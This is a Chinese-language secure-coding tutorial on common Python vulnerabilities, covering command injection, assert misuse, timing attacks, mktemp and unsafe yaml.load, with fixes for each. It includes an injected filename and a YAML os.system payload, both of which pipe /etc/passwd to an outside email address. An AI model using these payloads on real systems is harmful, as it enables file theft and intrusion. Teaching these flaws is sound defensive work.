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Python 中的 10 個常見安全漏洞,以及如何避免(上)

Kaede / 2297人閱讀

摘要:在考慮安全性時,你需要考慮如何避免被濫用,也不例外,即使在標(biāo)準(zhǔn)庫中,也存在用于編寫應(yīng)用的不良實(shí)踐。計(jì)時攻擊需要精確性,所以通常不能用于高延遲的遠(yuǎn)程網(wǎng)絡(luò)。由于大多數(shù)應(yīng)用程序涉及可變延遲,因此幾乎不可能在服務(wù)器上編寫計(jì)時攻擊。

簡評:編寫安全代碼很困難,當(dāng)你學(xué)習(xí)一個編程語言、模塊或框架時,你會學(xué)習(xí)其使用方法。 在考慮安全性時,你需要考慮如何避免被濫用,Python 也不例外,即使在標(biāo)準(zhǔn)庫中,也存在用于編寫應(yīng)用的不良實(shí)踐。然而,許多 Python 開發(fā)人員卻根本不知道它們。
1. 輸入注入(Input injection)

注入攻擊非常廣泛而且很常見,注入有很多種類,它們影響所有的語言、框架和環(huán)境。

SQL 注入是直接編寫 SQL 查詢(而非使用 ORM) 時將字符串字面量與變量混合。我讀過很多代碼,其中「escaping quotes」被認(rèn)為是一種修復(fù),但事實(shí)并非如此,可以通過這個鏈接查看 SQL 注入所有可能發(fā)生的復(fù)雜方式。

命令注入可能在使用 popen、subprocess、os.system 調(diào)用一個進(jìn)程并從變量中獲取參數(shù)時發(fā)生,當(dāng)調(diào)用本地命令時,有人可能會將某些值設(shè)置為惡意值。

下面是個簡單的腳本,使用用戶提供的文件名調(diào)用子進(jìn)程:

import subprocess

def transcode_file(request, filename):
    command = "ffmpeg -i "{source}" output_file.mpg".format(source=filename)
    subprocess.call(command, shell=True)  # a bad idea!

攻擊者會將 filename 的值設(shè)置為“; cat / etc / passwd | mail [email protected] 或者其他同樣危險的東西。

修復(fù):

如果你使用了 Web 框架,可以用附帶的實(shí)用程序?qū)斎脒M(jìn)行清理,除非有充分的理由,否則不要手動構(gòu)建 SQL 查詢,大多數(shù) ORM 都具有內(nèi)置的消毒方法。

對于 shell,可以使用 shlex 模塊正確地轉(zhuǎn)義輸入。

2. assert 語句(Assert statements)

不要使用 assert 語句來防止用戶訪問不應(yīng)訪問的代碼段。

def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

現(xiàn)在,默認(rèn)情況下,Python 以 debug 為 true 來執(zhí)行腳本,但在生產(chǎn)環(huán)境中,通常使用優(yōu)化運(yùn)行,這將會跳過 assert 語句并直接轉(zhuǎn)到安全代碼,而不管用戶是否是 is_admin。

修復(fù):

僅在與其他開發(fā)人員進(jìn)行通信時使用 assert 語句,例如在單元測試中或?yàn)榱朔乐共徽_的 API 使用。

3. 計(jì)時攻擊(Timing attacks)

計(jì)時攻擊本質(zhì)上是一種通過計(jì)時比較提供值所需時間來暴露行為和算法的方式。計(jì)時攻擊需要精確性,所以通常不能用于高延遲的遠(yuǎn)程網(wǎng)絡(luò)。由于大多數(shù) Web 應(yīng)用程序涉及可變延遲,因此幾乎不可能在 HTTP Web 服務(wù)器上編寫計(jì)時攻擊。

但是,如果你有提示輸入密碼的命令行應(yīng)用程序,則攻擊者可以編寫一個簡單的腳本來計(jì)算將其值與實(shí)際密碼進(jìn)行比較所需的時間。

修復(fù):

使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其他私密值。

4.臨時文件(Temporary files)

要在 Python 中創(chuàng)建臨時文件,通常使用 mktemp() 函數(shù)生成一個文件名,然后使用該名稱創(chuàng)建一個文件。 「這是不安全的,因?yàn)榱硪粋€進(jìn)程可能會在調(diào)用 mktemp() 和隨后嘗試通過第一個進(jìn)程創(chuàng)建文件之間的空隙創(chuàng)建一個同名文件。」這意味著應(yīng)用程序可能加載錯誤的數(shù)據(jù)或暴露其他的臨時數(shù)據(jù)。

如果調(diào)用不正確的方法,則最新版本的 Python 會拋出運(yùn)行警告。

修復(fù):

如果需要生成臨時文件,請使用 tempfile 模塊并使用 mkstemp。

5. 使用 yaml.load

引用 PyYAML 文檔:

警告:使用從不可信源接收到的數(shù)據(jù)來調(diào)用 yaml.load 是不安全的! yaml.load 和pickle.load 一樣強(qiáng)大,所以可以調(diào)用任何 Python 函數(shù)。
在流行的 Python 項(xiàng)目 Ansible 中找到的這個美麗的例子,你可以將此值作為(有效)YAML 提供給 Ansible Vault,它使用文件中提供的參數(shù)調(diào)用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]
所以,從用戶提供的值中有效地加載 YAML 文件會讓應(yīng)用對攻擊打開大門。

修復(fù):

總是使用 yaml.safe_load,除非你有一個非常好的理由。

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